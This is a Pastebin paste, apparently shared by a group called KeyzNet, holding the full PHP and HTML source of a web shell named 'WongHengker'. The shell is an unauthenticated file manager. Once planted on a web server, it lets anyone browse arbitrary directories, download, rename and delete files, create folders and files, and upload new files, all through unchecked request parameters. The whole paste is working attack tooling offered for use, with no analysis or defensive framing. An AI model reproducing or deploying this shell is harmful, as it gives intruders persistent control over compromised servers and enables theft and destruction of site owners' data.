Advertisement
Keyznet

HengkerShell

Mar 6th, 2025
122
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 7.40 KB | None | 0 0
  1. <?php
  2.  
  3. /*
  4. * ./KeyzNet
  5. * https://t.me/keyznet
  6. */
  7.  
  8. class WongHengker {
  9.   public $dir;
  10.   public $url;
  11.   function __construct($curDir = null) {
  12.     if ($curDir == null) {
  13.       $info = pathinfo(__FILE__);
  14.       $this->dir = $info['dirname'];
  15.     } else {
  16.       $this->dir = $curDir;
  17.     }
  18.   }
  19.  
  20.   function fileList() {
  21.     $files = array_slice(scandir($this->dir), 2);
  22.     $list = array();
  23.     for ($i = 0; $i < sizeof($files); $i++) {
  24.       $type = filetype($this->dir . '/' . $files[$i]);
  25.       $download = "?download={$files[$i]}&type={$type}&curDir={$this->dir}";
  26.       $list[] = array(
  27.         'file' => $files[$i],
  28.         'type' => $type,
  29.         'download' => $download,
  30.         'delete' => "?delete={$files[$i]}&type={$type}&curDir={$this->dir}",
  31.         'view' => ($type == 'dir') ? "?goDir={$this->dir}/{$files[$i]}&curDir={$this->dir}" : $download,
  32.       );
  33.     }
  34.     return $list;
  35.   }
  36.  
  37.   function rename($data) {
  38.    rename($data['curDir'] . '/' . $data['rename'], $data['curDir'] . '/' . $data['newName']);
  39.    $this->dir = $data['curDir'];
  40.   }
  41.  
  42.   function download($data) {
  43.     if ($data['type'] == 'file') {
  44.       $file=$data['curDir'] . '/' . $data['download'];
  45.       header('Content-Description: File Transfer');
  46.       header("Content-Type:application/octet-stream");
  47.       header("Accept-Ranges: bytes");
  48.       header("Content-Length: " . filesize($file));
  49.       header('Expires: 0');
  50.       header('Cache-Control: must-revalidate');
  51.       header('Pragma: public');
  52.       header("Content-Disposition: attachment; filename=" . $data['download']);
  53.       flush();
  54.       readfile($file);
  55.       exit;
  56.     } else if ($data['type'] == 'dir') {
  57.       echo 'zip download not done.......<br>';
  58.     }
  59.   }
  60.  
  61.   function delete($data) {
  62.     if ($data['type'] == 'dir') {
  63.       rmdir($data['curDir'] . '/' . $data['delete']);
  64.     } else if ($data['type'] == 'file') {
  65.       unlink($data['curDir'] . '/' . $data['delete']);
  66.     }
  67.     $this->dir = $data['curDir'];
  68.   }
  69.  
  70.   function goDir($dir) {
  71.     $this->dir = $dir;
  72.   }
  73.  
  74.   function backDir($dir) {
  75.     $dirAr = explode('/', $dir);
  76.     array_pop($dirAr);
  77.     $bkdir = implode('/', $dirAr);
  78.     $this->dir = $bkdir;
  79.   }
  80.  
  81.   function createFolder($data) {
  82.    mkdir($data['curDir'] . '/' . $data['createFolder'], 0777);
  83.    $this->dir = $data['curDir'];
  84.   }
  85.  
  86.   function createFile($data) {
  87.     $filename = $data['curDir'] . '/' . basename($data['createFile']);
  88.     file_put_contents($filename, '');
  89.     $this->dir = $data['curDir'];
  90.   }
  91.  
  92.   function filesUpload($files, $dir) {
  93.     for ($i = 0; $i < sizeof($files['filesUpload']['error']); $i++) {
  94.       if ($files['filesUpload']['error'][$i] == 0){
  95.         move_uploaded_file($files['filesUpload']['tmp_name'][$i], $dir . '/' . $files['filesUpload']['name'][$i]);
  96.       }
  97.     }
  98.     $this->dir = $dir;
  99.   }
  100.  
  101.   function auto($get, $files, $post) {
  102.     if (isset($get['goDir'])) {
  103.       $this->goDir($get['goDir']);
  104.     }
  105.    
  106.     if (isset($get['backDir'])) {
  107.       $this->backDir($get['backDir']);
  108.     }
  109.    
  110.     if (isset($get['rename'])) {
  111.       $this->rename($get);
  112.     }
  113.    
  114.     if (isset($get['download'])) {
  115.       $this->download($get);
  116.     }
  117.    
  118.     if (isset($get['delete'])) {
  119.       $this->delete($get);
  120.     }
  121.    
  122.     if (isset($get['createFolder'])) {
  123.       $this->createFolder($get);
  124.     }
  125.    
  126.     if (isset($get['createFile'])) {
  127.       $this->createFile($get);
  128.     }
  129.    
  130.     if (isset($files['filesUpload'])) {
  131.       $this->filesUpload($files, $get['curDir']);
  132.     }
  133.     return error_get_last();
  134.   }
  135. }
  136.  
  137. $hengker = new WongHengker();
  138. $error = $hengker->auto($_GET, $_FILES, $_POST);
  139. $list = $hengker->fileList();
  140. ?>
  141. <!DOCTYPE html>
  142. <html>
  143. <head>
  144. <title>WongHengker</title>
  145. </head>
  146. <body>
  147.  
  148. <table>
  149.   <tr>
  150.     <th>Name</th>
  151.     <th>Type</th>
  152.     <th>Download</th>
  153.     <th>Rename</th>
  154.     <th>Delete</th>
  155.   </tr>
  156.   <tr><td colspan="5"><hr></td></tr>
  157.   <tr>
  158.     <td><a href="?backDir=<?php echo $hengker->dir; ?>">../back</a></td>
  159.     <td align="center">[dir]</td>
  160.     <td align="center">null</td>
  161.     <td align="center">null</td>
  162.     <td align="center">null</td>
  163.   </tr>
  164.   <tr><td colspan="5"><hr></td></tr>
  165.   <?php for($i=0; $i<sizeof($list); $i++){ ?>
  166.   <tr>
  167.     <td><a href="<?php echo $list[$i]['view']; ?>"><?php echo $list[$i]['file']; ?></a></td>
  168.     <td align="center">[<?php echo $list[$i]['type']; ?>]</td>
  169.     <td align="center"><a href="<?php echo $list[$i]['download']; ?>" ><b>&veeeq;</b></a></td>
  170.     <td>
  171.       <input type="text" value="<?php echo $list[$i]['file']; ?>" hengker-rename-input>
  172.       <input hengker-data="<?php echo $list[$i]['file']; ?>"
  173.              hengker-data-type="<?php echo $list[$i]['type']; ?>"
  174.              hengker-data-new="<?php echo $list[$i]['file']; ?>"
  175.              type="button"
  176.              value="Rename"
  177.              hengker-rename-action>
  178.     </td>
  179.     <td align="center"><a href="<?php echo $list[$i]['delete']; ?>">&xotime;</a></td>
  180.   </tr>
  181.   <tr><td colspan="5"><hr></td></tr>
  182.   <?php } ?>
  183.   <tr>
  184.     <td colspan="2">
  185.       <input type="text" placeholder="Create folder" hengker-folder-input>
  186.       <input hengker-folder-action type="button" value="Create">
  187.     </td>
  188.     <td colspan="2">
  189.       <input type="text" placeholder="Create file" hengker-file-input>
  190.       <input hengker-file-action type="button" value="Create File">
  191.     </td>
  192.     <form method="POST" action="?curDir=<?php echo $hengker->dir; ?>" enctype="multipart/form-data">
  193.       <td colspan="1">
  194.         <input type="file" name="filesUpload[]" multiple>
  195.         <input type="submit" value="Upload">
  196.       </td>
  197.     </form>
  198.   </tr>
  199. </table>
  200. <p><a href="?goDir=<?php echo $hengker->dir; ?>"><?php echo $hengker->dir; ?></a></p>
  201. <input type="hidden" hengker="dir" value="<?php echo $hengker->dir; ?>">
  202. <pre>
  203. <?php print_r($error); ?>
  204. </pre>
  205. <script>
  206.   var wongHengker = {
  207.     renameInput: function(elem) {
  208.       elem.nextElementSibling.setAttribute('hengker-data-new', elem.value);
  209.     },
  210.     renameAction: function(elem) {
  211.       var dir = document.querySelector('input[hengker=dir]');
  212.       window.location.href=`?rename=${elem.getAttribute('hengker-data')}&newName=${elem.getAttribute('hengker-data-new')}&type=${elem.getAttribute('hengker-data-type')}&curDir=${dir.value}`;
  213.     },
  214.     folderAction: function() {
  215.       var dir = document.querySelector('input[hengker=dir]');
  216.       var input = document.querySelector('input[hengker-folder-input]');
  217.       window.location.href = `?createFolder=${input.value}&curDir=${dir.value}`;
  218.     },
  219.     fileAction: function() {
  220.       var dir = document.querySelector('input[hengker=dir]');
  221.       var input = document.querySelector('input[hengker-file-input]');
  222.       if(input.value.trim()) {
  223.         window.location.href = `?createFile=${encodeURIComponent(input.value)}&curDir=${dir.value}`;
  224.       }
  225.     }
  226.   };
  227.  
  228.   document.querySelectorAll('input[hengker-rename-input]').forEach(input => {
  229.     input.addEventListener('input', () => wongHengker.renameInput(input));
  230.   });
  231.  
  232.   document.querySelectorAll('input[hengker-rename-action]').forEach(btn => {
  233.     btn.addEventListener('click', () => wongHengker.renameAction(btn));
  234.   });
  235.  
  236.   document.querySelector('input[hengker-folder-action]').addEventListener('click', wongHengker.folderAction);
  237.   document.querySelector('input[hengker-file-action]').addEventListener('click', wongHengker.fileAction);
  238. </script>
  239. </body>
  240. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement